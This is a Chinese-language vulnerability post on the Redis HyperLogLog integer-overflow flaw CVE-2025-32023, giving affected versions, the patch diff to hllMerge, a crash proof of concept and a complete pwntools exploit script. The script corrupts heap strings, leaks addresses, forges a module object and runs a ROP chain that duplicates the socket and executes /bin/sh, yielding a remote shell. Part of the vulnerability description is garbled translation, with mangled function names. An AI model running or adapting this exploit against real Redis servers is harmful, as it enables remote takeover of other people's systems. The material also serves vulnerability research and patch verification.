Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)

影响版本:

影响Redis版本> = 2.8。用8.0.3、7.4.5、7.2.10、6.2.19修补,查看详情:https://github.com/redis/redis/commit/50188747cbfe43528d2719399a2a3c9599169445

漏洞详情:

Redis中的HyperLogLog只是另一个带有其自定义编码的字符串。在稀疏的HLL编码上进行迭代需要添加每个稀疏表示形式的运行长度,这可能会在“int i”中以“ int i”计数的总长度溢出为负值时,在错误的HLL上操作。这使攻击者能够覆盖HLL结构上的负偏移,从而导致堆栈/堆写在堆栈/堆上,具体取决于HLL结构的何处(例如,hllmerge()`hllmerge()“`hlllsparsetodense of oferpparsetOdense of teakepparsetodense()’hllsparetodense()

请参阅下面的补丁片段:

int hllMerge(uint8_t *max, robj *hll) {
     struct hllhdr *hdr = hll->ptr;
     int i;

     if (hdr->encoding == HLL_DENSE) {
         hllMergeDense(max, hdr->registers);
      } else {
         uint8_t *p = hll->ptr, *end = p + sdslen(hll->ptr);
         long runlen, regval;
+        int valid = 1;
 
         p += HLL_HDR_SIZE;
         i = 0;
         while(p < end) {
             if (HLL_SPARSE_IS_ZERO(p)) {
                 runlen = HLL_SPARSE_ZERO_LEN(p);
+                if ((runlen + i) > HLL_REGISTERS) { /* Overflow. */
+                    valid = 0;
+                    break;
+                }
                 i += runlen;
                 p++;
             } else if (HLL_SPARSE_IS_XZERO(p)) {
                 runlen = HLL_SPARSE_XZERO_LEN(p);
+                if ((runlen + i) > HLL_REGISTERS) { /* Overflow. */
+                    valid = 0;
+                    break;
+                }
                 i += runlen;
                 p += 2;
             } else {
                 runlen = HLL_SPARSE_VAL_LEN(p);
                 regval = HLL_SPARSE_VAL_VALUE(p);
-                if ((runlen + i) > HLL_REGISTERS) break; /* Overflow. */
+                if ((runlen + i) > HLL_REGISTERS) { /* Overflow. */
+                    valid = 0;
+                    break;
+                }
                 while(runlen--) {
                     if (regval > max[i]) max[i] = regval;
                     i++;
                }
                 p++;
             }
         }
-        if (i != HLL_REGISTERS) return C_ERR;
+        if (!valid || i != HLL_REGISTERS) return C_ERR;
     }
     return C_OK;
 }

poc:

利用是标准的redis pwnables:

1。损坏jemalloc堆上的SDS对象以使其长度较大
2。喷涂EMBSTR对象将损坏成伪造的模块对象
3。使用损坏的SDS对象倾倒堆以查找目标EMBSTR对象和泄漏地址
4。在目标EMBSTR对象上创建一个假模块对象
5。删除伪造的模块对象,触发破坏者并获得RCE

poc.py

#!/usr/bin/env python3

import redis

HOST, PORT = 'localhost', 6379
r = redis.Redis(HOST, PORT)

HLL_SPARSE = 1

def p8(v):
  return bytes([v])

def xzero(sz):
  assert 1 <= sz <= 0x4000
  sz -= 1
  return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)

# malformed sparse hll
pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x20000   # (int)(0x4000 * 0x20000) = -0x80000000
pl += p8(0b1_11111_11)          # runlen = 4, regval = 0x20
r.set('hll:exp', pl)

# trigger hllMerge
r.pfcount('hll:exp', 'hll:exp')

solver-f0b22e429fa6c984f39a409744ff954d3a45d843edd29428ef3a68085d696a7d.py

#!/usr/bin/env python3

from pwn import *
import redis
import random
import string

HOST, PORT = 'localhost', 6379

binary = ELF('./redis-server')

# client to send redis commands
r = redis.Redis(HOST, PORT)

# client to pop shell
p = remote(HOST, PORT)
p.sendline('client info')
p.recvuntil('fd=')
fd = int(p.recvline().split()[0])
log.info(f'{fd = }')

HLL_DENSE = 0
HLL_SPARSE = 1
HLL_DENSE_SIZE = 0x3010

# make a dense hll, which is just a string with specific encodings
pl = b'HYLL'
pl += p8(HLL_DENSE)
pl = pl.ljust(HLL_DENSE_SIZE, p8(0))
r.set('hll:dense', pl)
# assert that the hll encoding is valid
r.pfadd('hll:dense')

# make a malformed sparse hll, again just a string
def xzero(sz):
  assert 1 <= sz <= 0x4000
  sz -= 1
  return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)

pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd   # -0xc000
pl += xzero(0xc000 - 0x956c)    # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00)          # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b)             # -0x8000
pl += xzero(0x4000) * 3         # 0x4000
r.set('hll:exp', pl)

# prep 14KiB sds
fakelen = 0x4142434445464748
r.setrange('sds:a', 0x37fa - 11, p64(fakelen))  # sds @ 0x0005, p64() 00 00 00 00 
r.setrange('sds:b', 0x37fa - 8, b'B'*8)         # sds @ 0x3805, ................. fa 37 fa 37 02 ~
r.setrange('sds:c', 0x37fa - 8, b'C'*8)         # sds @ 0x7005

# trigger hllMerge + hllSparseToDense
# alloc 0x3010 => round 0x3800 (14KiB)
r.pfmerge('hll:exp', 'hll:dense')                           # sds @ 0xa805

# assert that string type is modified
assert r.strlen('sds:b') == fakelen

# spray embstr objects
marker = ''.join(random.choices(string.ascii_letters + string.digits, k=8)).encode()
log.info(f'{marker = }')
spray_cnt = 0x100000 // 0x40
for i in range(spray_cnt // 0x400):   # batch spray with mset
  ms = {}
  for j in range(0x400):
    idx = i * 0x400 + j
    ms[f'sds:_{idx}'] = (marker+p64(idx)).ljust(0x2b, b' ')
  r.mset(ms)

# dump the heap!
dump = r.getrange('sds:b', 0, 0x100000)[3:]

# egghunt valid embstr object
mark = 0x3700
while mark < len(dump):
  mark = dump.find(marker, mark)
  assert mark != -1
  tofs = mark - 3 - 0x10
  # assert type|encoding, refcount, sdshdr8 fields
  if dump[tofs] == 0x80 and u32(dump[tofs+4:tofs+8]) == 0x1 and dump[tofs+0x10:tofs+0x13] == b'\x2b\x2b\x01':
    break
  mark += 8
else:
  assert False, '[!] embstr spray egghunt fail'

# target robj
tadr = u64(dump[tofs+8:tofs+0x10]) - 3 - 0x10
tkey = f'sds:_{u64(dump[tofs+3+0x18:tofs+3+0x20])}'
log.success(f'{tofs = :#x} ({tkey = })')
log.success(f'{tadr = :#014x}')

# sds:b header
badr = tadr - tofs - 8
log.info(f'{badr = :#014x}')

# egghunt redis-server base
egg = binary.sym['je_ehooks_default_extent_hooks'] & 0xfff
for i in range(0x10000 - ((badr + 8) & 0xffff), len(dump), 0x10000):
  if u64(dump[i:i+8]) == 0x200000 and (u64(dump[i+0xc8:i+0xd0]) & 0xfff) == egg and (u64(dump[i+0xd8:i+0xe0]) & 0xfff) == egg:
    binary.address = u64(dump[i+0xc8:i+0xd0]) - binary.sym['je_ehooks_default_extent_hooks']
    break
else:
  assert False, '[!] redis-server base egghunt fail'

assert (binary.address & 0xfff) == 0
log.success(f'{binary.address = :#014x}')

# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4]   # type, encoding, lru
pl += p32(1)                          # refcount
pl += p64(badr + 0x10)                # ptr
r.setrange('sds:b', tofs+3, pl)

'''
0x001b9991: mov rax, rdi; mov rsi, [rdi+8]; mov rdi, [rdi]; mov rbp, rsp; call qword ptr [rax+0x10];
0x00226097: mov rbp, rdi; mov esi, 0x10; mov edi, 1; call qword ptr [rax+8];
0x001410ec: leave; ret;
0x002d6706: pop rdi; ret;
0x002d5cfb: pop rsi; ret;
0x000fc472: pop rdx; ret;
'''

# fake module value (badr + 0x10)
B = binary.address
PRDI = B+0x002d6706
PRSI = B+0x002d5cfb
PRDX = B+0x000fc472

# badr + 0x10
pl = p64(badr + 0x20 - 7*8)   # mv->type
pl += p64(badr + 0x2010)      # mv->value      (rdi)
pl += p64(B + 0x001b9991)     # mv->type->free (rip), gadget #0
pl = pl.ljust(0x1000, b'\0')

# badr + 0x1010
pl += b'/bin/sh\0'            # 0x1010
pl += p64(badr + 0x1010)      # 0x1018
pl += p64(0)                  # 0x1020
pl = pl.ljust(0x2000, b'\0')

# badr + 0x2010 (=rdi)
pl += p64(badr + 0x2028)      # [rdi], rbp to set
pl += p64(B + 0x001410ec)     # [rax+8], gadget #2
pl += p64(B + 0x00226097)     # [rax+8], gadget #1
pl += p64(0)                  # popped rbp

# ret, ROP starts here
# FD_CLOEXEC is dropped on dup2 newfd
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(0) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(1) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(2) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(badr + 0x1010)
pl += p64(PRSI) + p64(badr + 0x1018)
pl += p64(PRDX) + p64(0)
pl += p64(binary.plt['execve'])

r.setrange('sds:b', 3+8, pl)
r.close()
del r

# trigger module free!
p.sendline(f'set {tkey} 0')
p.interactive()

 

© 版权声明
THE END
喜欢就支持一下吧
点赞43赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容